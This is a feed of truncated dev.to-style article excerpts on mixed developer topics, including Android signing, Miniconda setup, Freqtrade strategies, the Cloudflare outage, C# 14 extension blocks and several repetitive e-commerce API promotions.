German is also available: https://dev.to/devtronic/android-apps-mithilfe-von-1password-signiere-472o Android developers know: If you want to upload an app to the Google Play Store, the app bundle or APK must be signed with a key. As an individual developer, the process is relatively straightforward: Create a Java Key Store (JKS) Add a signing key to the JKS Create a key.properties file containing details such as the key alias and password Use this to sign the app From a security perspective, neither the JKS nor the properties file should be committed to a VCS. This introduces several challenges: I need to ensure the JKS is stored in a secure location to avoid loss. When working in a team, every developer must store the JKS and properties file locally. If a new key is added to the JKS, all …  ( 8 min )

If the last cycle taught Web3 anything, it’s this: nobody wants to manage private keys - not users, not businesses, not even engineers who pretend they enjoy it. WaaS takes the messiest part of Web3 - key storage, recovery flows, compliance, multi-chain support - and turns it into something businesses already understand: an API call. Modern WaaS systems rely on three pillars: 1️⃣ MPC (Multi-Party Computation) 2️⃣ Account Abstraction (AA) 3️⃣ Enterprise KMS + compliance rails Fintech apps, neobanks, trading terminals, gaming studios, and loyalty platforms are all adopting WaaS for one reason: They want Web3 features without building a crypto team of 20 engineers. WaaS lets companies integrate: On-chain payments Loyalty tokens Digital identities Trading features Multi-asset custody …with UX that feels like Web2, not Web3 from 2017. Even exchanges are evolving. Let’s be honest: users, revenue, and regulatory clarity — not a devops nightmare where one lost seed phrase becomes a million-dollar problem. WaaS gives them battle-tested infra, compliant rails, and UX users don’t rage-quit. It replaces Web3 chaos with something CFO-friendly. Wallet-as-a-Service isn’t just another crypto trend. When onboarding becomes a one-click experience, Web3 adoption stops being a dream - and starts becoming a default.  ( 7 min )

Turning raw notes into a polished, professional presentation can feel overwhelming — especially when you’re dealing with messy bullet points, long paragraphs, or scattered ideas. The good news? AI tools now make it possible to convert notes into a ready-to-use presentation in minutes, without needing any design skills. In this blog, you’ll learn exactly how to turn your notes into a presentation using AI, the best tools for the job, why AI slide generators are becoming essential, and how MagicSlides makes the whole process even easier. AI presentation tools are designed to read your notes, understand the structure, and generate slides with proper layout, visuals, and flow. Saves hours of manual work Creates structured slides instantly Fixes formatting issues automatically Generates d…  ( 8 min )

GPU-Powered Networking: The Future of Blazing-Fast Model Training \Are you tired of sluggish performance when training massive models across multiple GPUs? Do you dream of a world where data flows seamlessly between GPUs without CPU bottlenecks? Imagine a Formula 1 race where the CPU is the pit crew, slowing down the car. That is now over! Introducing a revolutionary approach: GPU-initiated networking. This paradigm shift allows GPUs to directly manage communication with each other, bypassing the traditional CPU-mediated model. This reduces latency and overhead, significantly accelerating distributed training. We now have a high-speed highway for data, giving the GPU all control of the car to reach a higher max speed. Traditionally, the CPU acts as the traffic controller, orchestrating …  ( 7 min )

This approach is based on my personal experience, and is one of many approaches you'll find online. Go to the Anaconda website and download the shell script (.sh file) of Miniconda. Create a folder say myfolder at your suitable location. mkdir myfolder cd myfolder Paste the miniconda.sh file inside this folder (optional, but I did for convenience) bash ~/miniconda.sh # follow interactive prompts: # - accept license (yes) # - choose install location (default: ~/miniconda3) OK # - at the end it asks to initialize shell; say "yes" (or you can init manually later) After install, either restart terminal or source the shell rc: # restart terminal or source ~/.bashrc Stop auto-activation of base (recommended) : conda config --set auto_activate_base false Now base will not activate automati…  ( 8 min )

(Zuerst erschienen auf: https://www.linkedin.com/pulse/android-apps-mithilfe-von-1password-signieren-julian-finkler-erlce) Android Entwickler wissen: Wenn man eine App in den Google Play Store hochladen möchte, muss das App Bundle bzw. das APK mit einem Schlüssel signiert sein. Als einzelner Entwickler ist der Prozess relativ trivial: Man legt einen Java Key Store, kurz JKS, an Man legt in diesem JKS einen Schlüssel zum signieren ab. Man legt eine key.properties Datei an, in der die die Details, wie Schlüssel oder das Passwort des Schlüssels stehen. Man signiert die App damit. Aus Sicht der Sicherheit sollten natürlich sowohl der JKS als auch die Properties-Datei nicht in ein VCS eingecheckt werden. Das bringt eine Reihe von Herausforderungen mit sich: Ich muss mich darum kümmern, dass der…  ( 8 min )

The Figma community is constantly evolving, and so are the plugins that help designers move faster, smarter, and more creatively. 1. Pixlore — AI-powered Design Assistant Pixlore helps designers create and iterate layouts through natural language. Wireframe or Autolayout to refine your generated results. 2. Autolayout Pro AutoLayout dynamically lays out layers in frames and updates the layout when the dimensions of child layers change. It behaves similar to Framer Stacks and the Anima Toolkit for Sketch. 3. Content Reel Manage real text and image content easily across your design system. 4. Iconify Access over 150,000 icons from multiple libraries — Material, Feather, Fluent, and more — all inside Figma. 5. Color Palettes ( Colorsinspo ) : Color & Accessibility Tools Explore and apply curated color sets from Dribbble and Color Hunt. 6. Mockuuups Studio Most Popular Mockup Plugin with 4500+ Device Mockups. 7. Wireframe Speed up the ideation stage by dropping prebuilt wireframe components for common UI patterns. 8. Font Preview Preview, compare, and apply different typefaces in real time. 9. Batch Styler Edit multiple text and color styles at once. 10. FigGPT An AI-powered writing tool for designers, helping you generate microcopy, UX writing, and placeholder text that fits the tone of your brand. 💡 Plugin Combinations Worth Trying Pixlore + Wireframe + Mockuuups Studio → from idea to showcase in under 5 minutes. Autolayout Pro + Batch Styler→ perfect for managing complex design systems. Content Reel + FigGPT → streamline your text and content workflows. Final Thoughts Pixlore are redefining how designers interact with AI and automation inside their design tools.  ( 7 min )

VS Code tasks are powerful, but most developers barely use them. The problem is not the feature itself. It is the workflow. Tasks are hidden behind menus, the command palette, or a tasks.json file that nobody enjoys editing. Running the same commands over and over becomes a small but constant tax on your focus. I built TaskDeck to remove that tax. I wanted a simple way to see all tasks in one place, launch them with one click, and stop jumping between JSON files, menus, and shortcuts. No magic, no reinvention. Just a faster way to work inside VS Code. VS Code Marketplace Repository VS Code tasks are one of the most useful features in the editor. They let you run scripts, build steps, linters, tests, and any command you need with a single entry. They should save time. Instead, most develop…  ( 11 min )

OK this was so much fun: Googles Gemini 3 is amazing. just got it to redesign my home page. I was having fun with this one so no real idea what I wanted just vibing along. It gave me a matrix style hero component which blew me away. This is so cool and the fact that I can spend less than an hour to improve my personal site is insane. I used goose coding agent for this one which is open source and free and I just put my Gemini API key in which I am still using a free trial so my total cost for having fun was zero. Was quite impressed that by giving Goose the link to an image it just downloaded it for me and added it to my public folder of my site. One less tedious task for me to do. Towards the end I had the crazy idea of creating 7 hero component designs that change when you refresh the page. Why? Cause it's cool. This is maybe not how you build production apps but it sure is great for prototyping and getting to learn how new tools work and improving your communication with AI Agents and LLMs. I encourage you all to take time out of your day and play around. Build a personal site even if you never deploy it. Improve your personal site and modify the design just for fun. Have fun cause Gemini 3 is pretty amazing and the tools we have available to us right now is insane. And of course don't forget to run the Playwright healer agent after you have changed your design so your tests are updated. All it takes is a prompt. I didn't show it in this video but check out my other videos on Playwright Agents. Have fun and happy vibe coding Links: https://block.github.io/goose/ https://blog.google/products/gemini/gemini-3/  ( 7 min )

Hey friends! Last summer, we walked through the big picture of The DevEx Audit—a full-scale look at where your team is bleeding time and patience. We talked a lot about the value of good Developer Experience. But sometimes you don’t need a whole audit; you just need a wrench to turn a stuck bolt. Today's post is about those wrenches. We're picking out 5 small, fast moves that teams might overlook: things you can fix in a sprint (or even an afternoon) that will pay you back every single day. None of them are glamorous, but all of them are measurable. And together, they shave hours off lead time, clear away flaky roadblocks, and make the daily flow of work smoother. Let’s pop the hood and run through Blink’s Five Quick DevEx wins! Shorten your CI cycle. Smooth the local setup. Tame the pull…  ( 8 min )

Welcome! If you’re a developer curious about tapping into the world of bug‐bounty programs—where ethical hacking meets real rewards—you’re in the right place. This blog post will guide you through how you (yes, you) can turn your coding and troubleshooting skills into a potential income stream, while doing good by helping platforms and websites become safer. Imagine this: you find a serious flaw in a web platform, you responsibly disclose it, the company thanks you—and pays you. That’s the core idea behind bug-bounty programs. Ethical hacking isn’t just theory—it’s real, paid work. Companies are increasingly crowdsourcing security research because they know they can’t catch every flaw internally. For example, research shows that bug-bounty programs help vendors reduce risk and increase val…  ( 10 min )

You have a brilliant idea. It came to you in the shower or during a commute—a SaaS concept that solves a specific pain point, has a clear target audience, and potential for recurring revenue. You rush to your computer, fire up your terminal, and type npx create-next-app. The adrenaline is pumping. You are ready to build the next unicorn. But then, reality hits. Before you can write a single line of logic that makes your app unique, you have to set up authentication. Then you need to configure the database connection. Then comes the Stripe integration, webhook listeners, protected routes, email transaction providers, and responsive dashboard layouts. Three weeks later, you are still debugging a JWT token issue. Your enthusiasm has waned, and your "brilliant idea" is gathering dust in a fold…  ( 11 min )

Lesson 26: Custom Strategy Development ⏱ Duration: 2.5 hours 🎯 Learning Objectives: Learn to write your own trading strategies from scratch So far, we've been using pre-made strategies. But true advancement is the ability to develop your own strategies based on your trading ideas. This lesson will teach you: Basic structure of Freqtrade strategies How to implement buy and sell logic How to add and use technical indicators Complete strategy development workflow Practical examples from simple to complex Create user_data/strategies/MyFirstStrategy.py: from freqtrade.strategy import IStrategy from pandas import DataFrame import talib.abstract as ta class MyFirstStrategy(IStrategy): """ My first custom strategy """ # Strategy basic information INTERFACE_VERSION = 3 …  ( 16 min )

Most shadows on the web still look like 2015: one heavy blur, too dark, pasted everywhere. Real products need shadows that signal depth without stealing attention, work on light and dark canvases, and don’t tank performance. This guide is the fastest way I know to ship professional, layered shadows in production. It combines a mental model, copy‑paste recipes (CSS + Tailwind), a small token system, and a QA checklist you can use in code reviews today. TL;DR Single shadows rarely read as depth. Use 2–3 layers with decreasing opacity and increasing blur. Typical per‑layer opacity lives between 0.06–0.22. Prefer slightly negative spread on the tightest layer to avoid chalky halos. In dark UI, use larger blur + lower alpha, not “darker shadows”. Don’t animate box-shadow on big surfaces; animat…  ( 9 min )

1) Performance & Architecture Rust core with Python bindings (PyO3) Advantage: The workflow engine, agent execution, LLM provider integrations, concurrency manager, and resilience primitives are implemented in Rust. This gives lower runtime overhead, real multi-threaded parallelism, and predictable memory usage versus Python-only orchestration layers constrained by the GIL. Memory: The core selectively uses optimized allocators (e.g., jemalloc on Unix) and pre-allocation patterns, reducing allocation churn. Python-facing APIs expose results without pushing heavy orchestration back into Python. Concurrency: GraphBit implements per-node-type concurrency control in Rust with atomic counters and wait queues, enabling high-throughput scheduling without a single global semaphore bottlenec…  ( 9 min )

Introduction In today’s competitive landscape, businesses need sharper visibility into how users actually interact with their websites to keep conversions moving in the right direction. Yet many still struggle with unclear click patterns, unnoticed drop-off points, and pages that fail to hold attention, simply because they cannot see what users truly experience. These gaps make decision-making slow and often inaccurate, leading to lost opportunities across product pages, landing pages, and key conversion paths. This is where WordPress Heatmaps step in, offering visual behavioral insights that help businesses refine their website with clarity and confidence. WordPress do offer different heatmap plugins, so that one can know the customer journey and their insights in detail. You will get…  ( 8 min )

🌍 ¿Por qué Java sigue siendo tan importante en pleno 2025? Han pasado casi 30 años desde que Java apareció por primera vez, y aún hoy sigue siendo uno de los lenguajes más utilizados en el mundo del desarrollo backend. Su lema original, “Write once, run anywhere”, sigue más vivo que nunca: el código Java puede ejecutarse prácticamente en cualquier sistema, lo que lo ha mantenido como un estándar en empresas de todos los tamaños. De hecho, se estima que Java se utiliza activamente en más de 120 países para proyectos backend, desde aplicaciones bancarias hasta plataformas de streaming, sistemas de salud y soluciones empresariales complejas. Entre ellos, India, Estados Unidos, Alemania y España destacan como grandes centros de talento Java, pero India lidera ampliamente el uso de Java en entornos backend, gracias a su enorme ecosistema de desarrolladores y empresas que confían en su estabilidad y escalabilidad. 🚀 La evolución de Java: del código clásico al Java moderno Si pensamos en el Java de los 2000, lo recordamos como un lenguaje robusto pero muy verboso. Y la evolución no se detiene. En Java 25, encontramos mejoras notables en rendimiento, la madurez del Project Loom (concurrencia ligera con virtual threads), y una sintaxis más clara con pattern matching y record patterns, que simplifican enormemente el trabajo diario de los desarrolladores. 🤖 Java en la era de la inteligencia artificial El auge de la IA no ha dejado a Java atrás. Spring Boot, Quarkus o Micronaut, demostrando que Java continúa siendo el motor del backend empresarial… incluso en la nueva era de la inteligencia artificial. 💬 En resumen Java no es solo un lenguaje que sobrevivió al paso del tiempo; es un lenguaje que ha sabido adaptarse y reinventarse. Java no está envejeciendo. ☕  ( 7 min )

Discover tailored health insurance solutions with Aetna — a name trusted by millions nationwide. From individual and family plans to Medicare and employer coverage, Aetna offers flexible options that prioritise your well-being. With nationwide access to top healthcare providers, personalised support, and affordable plans designed to meet your unique health needs, Aetna is a reliable partner for your health coverage journey. Individual & Family Plans Agents and Brokers Employers Dental Providers Over 16 million members trust Aetna for dependable health coverage and service. Speak with a Certified Aetna Agent Individual & Family Health Plans: Coverage includes preventive care, doctor visits, hospital stays, and prescriptions. Aetna offers reliable, affordable, and flexible health insurance b…  ( 8 min )

In the rapidly evolving world of technology, Artificial Intelligence (AI) and Machine Learning (ML) have become indispensable tools for creating intelligent and intuitive applications. For Apple developers, Swift offers a powerful and integrated ecosystem to harness this potential directly within their apps. Far from being an afterthought, ML capabilities are deeply embedded into Swift and its frameworks, providing developers with robust, performant, and privacy-focused ways to build smart features. This in-depth blog post will explore the core components of Swift AI, highlighting how developers can leverage Apple's built-in ML power to create cutting-edge applications. Apple's approach to ML is characterized by a cohesive ecosystem designed for performance, ease of use, and privacy. This …  ( 13 min )

I just published a new video in my Fullstack Development series, and this one is important for every frontend developer, Accessibility and Semantic HTML. Most beginners skip this topic, but accessibility is one of the core skills that separates a beginner from a real frontend developer. In this video, I covered: Why accessibility matters How semantic HTML improves user experience Using alt text, aria-labels, and roles Keyboard navigation basics and tabindex attribute A quick Lighthouse accessibility check Small improvements to our resume project If you're learning frontend or polishing your fundamentals, this will help you write cleaner, more readable, and more inclusive HTML. 🎥 Watch the video: https://youtu.be/h7R9dmfIMdU Check out Complete Playlist I’d love to know, what’s one accessibility improvement you’ll add to your next project?  ( 6 min )

Workflow automation tools have become essential for teams looking to reduce manual work, eliminate recurring errors and build systems that scale without becoming chaotic. With so many platforms available, choosing the right tool can feel overwhelming. Each tool has its own logic, pricing model, strengths and limitations. The goal of this guide is to give you a structured and practical analysis of leading workflow automation tools so you can make a clear and confident decision. This guide covers what workflow automation tools are, the eleven most important tools on the market, what they do, their pros and cons, cost expectations and a final recommendation based on realistic use cases. Workflow automation tools handle tasks that would otherwise require repetitive manual effort. They connect …  ( 15 min )

🎮 The Game Concept The game is basically a cooperative Mini Metro: multiple players share the same transit map and have to keep it running as stations spawn across the city. Anyone can draw new train lines, extend existing ones, delete segments, or reroute an entire area if congestion hits. It starts out peaceful. That mix of clarity and chaos is what makes it fun — and multiplayer turns it into a kind of friendly group puzzle where communication becomes the real mechanic. ⚙️ Why I Expected Multiplayer to Be Hard Real-time syncing is normally the hardest part of a project like this. You’ve got: stations spawning at random positions multiple players editing the same network passengers moving every second timers that need to match on every device reconnects that shouldn’t break everything I…  ( 7 min )

On November 18, 2025, a routine change at Cloudflare, a company that powers about 20% of the web, turned into a nightmare for millions of internet users. Websites ground to a halt, apps failed to load, and error pages popped up like uninvited guests. For over five hours, core parts of the internet felt the ripple effects, from e-commerce sites to developer tools. It wasn't a hacker's plot or a massive cyber assault, as some first feared. Instead, it was a classic case of a small tweak snowballing into chaos due to overlooked limits in the system. In this article, we'll walk through the outage step by step, peering behind the curtain at the tech that failed, why it happened, and what Cloudflare is doing to ensure it doesn't repeat. Drawing from Cloudflare's own detailed postmortem, we'll ke…  ( 10 min )

Stop wasting time on code reviews discussing semicolons and spacing. Automate everything with PR CheckMate. Picture this: It's Monday morning. Your team just opened a pull request. Within minutes, review comments start rolling in: "Please add a semicolon here" Sound familiar? 😅 Developers end up spending time on mechanical tasks instead of solving real problems. The review process slows down. People get frustrated. And the worst part? These issues are completely preventable. Consider what happens in a typical day: Developer writes a feature → pushes code Reviewer notices formatting issues → requests changes Developer runs Prettier manually → commits again Reviewer finds a typo in documentation → another round Developer fixes it → push again CI/CD pipeline finally runs ESLint → more failur…  ( 10 min )

I was trying to check my Twitter feed (sorry, X), and instead of my usual doom scroll, I got hit with an error message. Then I tried ChatGPT. Error. Spotify? Nope. Even McDonald's self-service kiosks were down. I thought maybe my WiFi was acting up again, but nope—turns out a company called Cloudflare had a pretty bad day, and it took a huge chunk of the internet down with it. Before we get into what went wrong, let me explain what Cloudflare does, because most people have never heard of them, yet they use their services every single day. Think of Cloudflare as the internet's security guard and traffic controller, all rolled into one. When you visit a website, you're not always talking directly to that website's server. Instead, Cloudflare sits in the middle, doing a bunch of important job…  ( 10 min )

1) Executive Summary Enterprise systems have always been two-layered: Humans make decisions Humans & systems execute them But that model doesn’t scale with today’s complexity. There are too many repetitive, high-value tasks that need to be done, monitored, and adapted continuously. A third layer is emerging: Agentic AI. This layer sits between human intent and system execution: Understands context Breaks tasks into steps Triggers APIs, tools, and workflows Learns from outcomes Operates continuously Yet most frameworks holding up this new middle layer were not built for scale. In fact: 83% of AI teams report stability issues under load with current frameworks. ~29% of long-running workflows fail silently. Top enterprise concerns include cyberse…  ( 11 min )

Hey there! 👋🏻 Just used the "Generate Image" function of Dev to generate this cover, and yes, I know it says C 14 rather than C# 14. If you've written C# code before, there's a good chance you've come across extension methods. They've been around since C# 3.0 back in 2007, and they're pretty much everywhere in .NET—especially in LINQ. But with C# 14 and .NET 10, things just got a whole lot more interesting with the introduction of Extension Blocks, or as some folks call it, Extension Everything. So what are extension blocks? Why should you care? And how can you use them to write cleaner, more expressive code? Let's dive in and find out! The code examples in this article require .NET 10 and C# 14, which were officially released on November 11, 2025. If you haven't already installed .N…  ( 14 min )

In technical work — from vehicle maintenance to system calibration — trust is not a slogan; it’s the measurable result of process clarity. Repairs are not isolated events; they’re moments within the life cycle of a system. Each diagnostic phase is a loop of information — sensors, logic, and human interpretation forming a shared language between the machine and its operator. Modern vehicles integrate turbocharging, CVT calibration, and coolant‑flow management as interdependent behaviors rather than separate modules. Only by understanding how temperature, pressure, and control logic interact do we achieve precision and stability. Just like in software systems, transparency in design creates predictability. A reliable engine behaves not by chance, but by calibration integrity, thermal balance, and disciplined maintenance cycles. Engineering trust means achieving consistency through comprehension — not marketing. It’s where physics meets ethics in the practice of mechanics.  ( 6 min )

MP 1.300/2025: Entenda os Prazos e Custos para Retornar ao Mercado Cativo Você migrou para o mercado livre de energia esperando economizar, mas agora está pensando em voltar? Ou talvez esteja considerando essa mudança e quer saber se consegue retornar sem problemas. A boa notícia é que sim, é possível retornar ao mercado cativo — mas a MP 1.300/2025 estabelece regras específicas que você precisa conhecer antes de tomar essa decisão. Neste guia prático, vou desvendar os prazos mínimos, custos envolvidos e tudo o que você precisa saber para planejar esse movimento com segurança. Vamos lá? A Medida Provisória 1.300/2025, publicada em 21 de maio de 2025, é um marco regulatório que estabelece as diretrizes para a abertura total do mercado livre de energia no Brasil. Mas seu impacto vai além: …  ( 11 min )

Shopify’s default contact form is simple and easy to use, but it does not always meet the needs of growing businesses. For developers, theme customizers, and tech-savvy store owners, building a custom contact form offers more flexibility. One powerful enhancement is sending form submissions directly into the Shopify Customer Notes field, helping teams centralize important customer interactions inside the Shopify admin. This approach is especially helpful when you want your support, sales, or onboarding team to see customer context without switching between tools. This guide walks through how to build a custom contact form and programmatically store the submitted data into Shopify customer notes. Storing from data inside the customer profile gives you several benefit. All customer messages…  ( 8 min )

For teams looking to "truly harden" their iOS applications, the challenge is not about finding the "most magical" tool, but rather selecting a tool combination suited to their delivery model and operational capabilities, and turning hardening into a reusable engineering capability. This article avoids flashy marketing and instead, from an engineering practice perspective, compares several common types of IPA encryption/obfuscation tools in terms of capabilities, pros and cons, and applicable scenarios, providing implementation recommendations and typical pipelines for direct reference by development/security/operations teams. Tool selection depends on several dimensions: Access to Source Code: If source code is available, prioritize compile-time obfuscation (deeper protection); if not, onl…  ( 9 min )

We’ve all been there. You spend three days fighting a complex race condition or architecting a beautiful, scalable microservice. You finally solve it, and the dopamine hits. You think, "I need to document this," so you open your markdown editor, write a quick tutorial, and hit publish. We know that spaghetti code works, but it’s a nightmare to maintain and read. The same logic applies to technical writing. Here is the good news: You don't need to be a marketer to get this right. SEO is just algorithms and logic. DOM Structure: You already understand that H1 is the parent and H2 is the child. That’s 90% of on-page SEO. User Intent: This is just "User Stories." What is the user trying to achieve when they type "React useEffect loop" into the search bar? Efficiency: We like clean code; Google…  ( 8 min )

(This is the first article in our three-part series on protocol security.) In smart contract auditing, automated tools like Slither or Aderyn are an essential first line of defence. They are excellent at finding known anti-patterns: re-entrancy, incorrect visibility, or known unsafe operations. However, the most catastrophic vulnerabilities—the ones that automated tools cannot find—are almost always flaws in the protocol's unique business logic. These are bugs that arise not from a single bad line of code, but from a "correct" implementation of a flawed assumption. Finding these requires an expert, adversarial, and creative manual review process. You must understand what the code intends to do, and then find a way to break that intention. This article shares three real, subtle, and high-im…  ( 11 min )

When working with Excel files, it's common to encounter two primary formats: .xls and .xlsx. The .xls format is used by older versions of Excel, while .xlsx is the default format for Excel 2007 and later. Converting between these formats is often necessary, whether you're upgrading legacy files or ensuring compatibility with different systems. In this article, we'll explore how to convert Excel files from .xls to .xlsx and vice versa using Java. This guide is suitable for developers who need an efficient, reliable solution for handling Excel files programmatically. Before diving into the conversion process, let's briefly discuss why you might need to convert an .xls file to .xlsx. The newer .xlsx format has several advantages over .xls: Smaller file sizes : The .xlsx format uses ZIP compre…  ( 8 min )

I. Interface Overview: The YiwuGo Product Details API allows developers to retrieve detailed product information via product ID (num_iid), including comprehensive data such as title, price, inventory, sales volume, images, description, and SKU. This interface adopts a RESTful design, supports real-time data updates and high-concurrency requests, and is suitable for e-commerce application development, data analysis, price monitoring, and other scenarios. II. Interface Parameters: YiwuGo provides a Product Details API interface, mainly including: Core Functions: Supports retrieving basic product information (title, price, inventory), SKU specifications, description, reviews, etc. Provides logistics information (shipping location, postage), product images, and detailed specifications. Supports field filtering to optimize transmission efficiency. Call Flow: Registration and Authentication: c0b.cc/R4rbK2, click to get a test key. or add wechat id：19970108018 Sending Requests: Calls the API via HTTP GET/POST and parses the returned JSON data. In conclusion, the YiwuGo product details API provides developers with a standardized and efficient solution for acquiring product data, supporting diverse needs from basic information to in-depth analysis. It is an important tool for e-commerce business development and operation.  ( 6 min )

🚀 Introducing eXo Platform 7.1: A More Intuitive, Open-Source Digital Workplace for Developers & Teams Wassim Zlitni ・ Nov 20 #opensource #java #productivity #sharepoint  ( 6 min )

used to make the same mistake with every new freelance client. We would sign the contract (sometimes), shake hands, and I would immediately open VS Code. I was eager to impress. I wanted to show progress. Big mistake. Three days later, I’d be blocked. "Hey, I still need the AWS keys." "Can you invite me to the GitHub repo?" "Wait, you wanted this in React Native or Flutter?" I was losing billable hours chasing administrative details. It felt unprofessional, and worse, it delayed my payments. So, I stopped coding on Day 1. Instead, I built an Onboarding Protocol. Here is the system I use now to go from "Signed" to "Shipping" without the headache. Phase 1: The Handshake (Administrative) Signed Contract: Emails are not contracts. Use a proper e-signature tool. Deposit Cleared: Don't trust the screenshot of the transfer. Trust the notification from your own bank. Communication Policy: Establish boundaries now. If you don't want WhatsApp messages at 10 PM on a Sunday, tell them now. Phase 2: The Keys (Access) Repo Access: Ensure you have 'Write' or 'Admin' access. 'Read' access is useless for a developer. Design Files: Ask for 'Edit' access in Figma so you can actually export the assets you need. Environment Variables: Ask for the .env file immediately. If they don't have one, offer to set it up (as a billable task). Phase 3: The Alignment (Technical) Node/PHP Versions: Agree on the exact version (e.g., Node 20, PHP 8.2). Package Manager: Are we using npm, yarn, or pnpm? Mixing these causes lockfile chaos. Linter Rules: Agree on a standard (ESLint/Prettier) before you push your first commit. Why this matters Want the full list? It includes the full 3-Phase breakdown, printable PDF, and a Notion template you can duplicate for every new client. I'm selling it for $1 (basically free) because I want to help other devs professionalize their business. 👉 Grab the Ironclad Checklist here  ( 7 min )

If you’re building FastAPI applications with MongoDB, you’ve probably wished for a quick way to visualize and manage your database without writing custom admin endpoints. Today, I’m excited to introduce you to fastapi-mongo-admin — a game-changing package that brings Django-style admin functionality to the FastAPI + MongoDB stack. As developers, we often find ourselves rebuilding the same CRUD interfaces over and over. While Django has its admin panel and tools like Retool exist, the FastAPI ecosystem has lacked a native, lightweight solution for MongoDB — until now. fastapi-mongo-admin bridges this gap with: Automatic CRUD API generation A beautiful, production-ready admin UI Zero-config setup (literally 5 lines of code) Full Pydantic v2 support Multi-language support (over 7 languages!)…  ( 8 min )

Bill Simmons and Kyle Brandt crack open John Hughes’s iconic 1985 flick Weird Science on this Rewatchables episode, dishing on the film’s wild mix of sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—while celebrating Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith’s unforgettable performances. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this romp is brought to you (quite literally) by State Farm’s Personal Price Plan®, and you can catch more Ringer deep dives by subscribing on YouTube and following @ringer across socials. Watch on YouTube  ( 6 min )

Sean and Amanda wrap up their yearlong countdown of the 25 best 21st-century films by slotting Quentin Tarantino’s Inglourious Basterds at No. 4, arguing it outshines Once Upon a Time in Hollywood as his ultimate crowd-pleaser. They gush over Christoph Waltz’s scene-stealing turn as Hans Landa and dig into how the movie’s audacious storytelling, dark humor, and pulse-pounding finish have cemented its place as a modern classic. Watch on YouTube  ( 6 min )

Summary Cinemasins revisits 1978’s The Wiz, counting down every plot hole, cringe moment, and guilty pleasure in a rapid-fire “Everything Wrong With” style now that Wicked is back on the big screen. They pepper the video with their signature snark and encourage viewers to explore more content on Cinemasins.com, follow them across YouTube, Twitter, Instagram, TikTok, join their Discord and Reddit communities, fill out a viewer poll, or support them on Patreon. Watch on YouTube  ( 6 min )

eXo Platform has just released version 7.1, building on last year’s major technical overhaul in 7.0. 🔧 What’s New in eXo Platform 7.1? A More Modern & Intuitive User Experience Version 7.1 focuses strongly on usability and daily efficiency: Documents→ new thumbnail & tree views, drag-and-drop folder import, offline mode, and network drive support. Productivity→ customizable personal workspace, enhanced unified search, and a redesigned App Center. Chat (Matrix-based) → message replies, reactions, voice messages, sound/push notifications, and full-screen mode. Engagement → forum-style activity feeds, decentralized engagement campaigns, and gamification widgets. 🧱 A Fully Updated, Developer-Friendly Tech Stack JDK 21 Tomcat 10 Spring 6 & Spring Boot 3.1 Elasticsearch 8.14 OnlyOffic…  ( 7 min )

I. Interface Overview The Alibaba Product Details API allows developers to retrieve detailed product information via product ID (num_iid), including comprehensive data such as title, price, inventory, sales volume, images, description, and SKU. This interface adopts a RESTful design, supports real-time data updates and high-concurrency requests, and is suitable for e-commerce application development, data analysis, price monitoring, and other scenarios. II. Interface Parameters: Alibaba provides a Product Details API interface, which mainly includes: Core Functions Supports retrieving basic product information (title, price, inventory), SKU specifications, description, reviews, etc. Provides logistics information (shipping location, postage), product images, and detailed specifications. Supports field filtering to optimize transmission efficiency. Call Flow Registration and Authentication: c0b.cc/R4rbK2, click to get a test key. or add wechat id:19970108018 Sending Requests: Calls the API via HTTP GET/POST and parses the returned JSON data. In conclusion, Alibaba's product details API provides developers with a standardized and efficient solution for acquiring product data, supporting diverse needs from basic information to in-depth analysis. It is an important tool for e-commerce business development and operation.  ( 6 min )

I just wrote a quick deep dive on how I built this four-step onboarding layout. Nothing fancy - just a clear walkthrough you can drop into your own projects. Check it out if you're curious. Read the article and get the code. https://lexingtonthemes.com/blog/how-to-build-a-responsive-four-step-onboarding-section-with-tailwind-css  ( 6 min )

I. Interface Overview Pinduoduo's Product Details API allows developers to retrieve detailed product information via product ID (num_iid), including comprehensive data such as title, price, inventory, sales volume, images, description, and SKU. This interface adopts a RESTful design, supports real-time data updates and high-concurrency requests, and is suitable for e-commerce application development, data analysis, price monitoring, and other scenarios. II. Interface Parameters: Pinduoduo provides a Product Details API interface, which mainly includes: Core Functions Supports retrieving basic product information (title, price, inventory), SKU specifications, description, reviews, etc. Provides logistics information (shipping location, postage), product images, and detailed specifications. Supports field filtering to optimize transmission efficiency. Call Flow Registration and Authentication: c0b.cc/R4rbK2, click to get a test key.or add wechat id:19970108018 . Sending Requests: Calls the API via HTTP GET/POST and parses the returned JSON data. In conclusion, Pinduoduo's product details API provides developers with a standardized and efficient solution for acquiring product data, supporting diverse needs from basic information to in-depth analysis. It is an important tool for e-commerce business development and operation.  ( 6 min )

Overview Discover the Mikrotik RB952Ui-5ac2nD: A Versatile Dual-Band Wi-Fi Solution for Small Networks In today's fast-paced digital world, reliable internet connectivity is crucial for both personal and professional environments. Whether you're setting up a home office, a small business network, or simply enhancing your home internet experience, the right router can make all the difference. Enter the Mikrotik RB952Ui-5ac2nD, a compact and efficient dual-band Wi-Fi router designed specifically for small networks. The Mikrotik RB952Ui-5ac2nD, also known as the hAP ac lite, is a testament to how good things can come in small packages. Its compact design makes it an ideal choice for environments with limited space, while its robust features ensure that users do not have to compro…  ( 8 min )

How to Fix "App Not Installed" Error on Android: Complete Troubleshooting Guide Meta Description: Learn how to fix the "App Not Installed" error on Android. Step-by-step guide covering APK installation failed errors, package appears invalid, and all common solutions. The "app not installed as package appears to be invalid" error is one of the most common Android APK installation problems users face. This comprehensive guide walks you through every solution, from basic fixes to advanced troubleshooting techniques. Android displays the "app not installed" error when the package installer stopped working or encounters issues during the installation process. Common causes include: Insufficient storage space on your device Conflicting app signatures from previous installations Corrupted or in…  ( 9 min )

Over the past year we’ve been working on WNode Cloud, an experiment in simplifying the modern web stack. The idea is to see whether a web app can be developed and deployed without a build system — no Webpack, no Babel, no bundlers — just standard JavaScript executed as-is. Some core design choices: True component architecture (model, view, controller, and styling encapsulated and colocated in one file) Views written in plain JavaScript (no template language) Zero-config cloud deployment tied directly to your codebase We recorded a 45-second demo showing a functional app deployed in under 15 seconds: Watch demo Dependency Management: Client-side code works with native ES modules or classic -based libraries. Production Optimization: No minification or tree-shaking is performed. Instead, WNode only delivers the components required for the current page, rather than sending the entire application bundle. Browser Support: modern browsers only; no IE/legacy support. Performance for Large Apps: For each page, WNode maintains a context window containing only the components required for that page, rather than the entire application. This approach helps improve performance for large apps by keeping dependency graphs small and focused. I’d love to hear thoughts from the community.  ( 6 min )

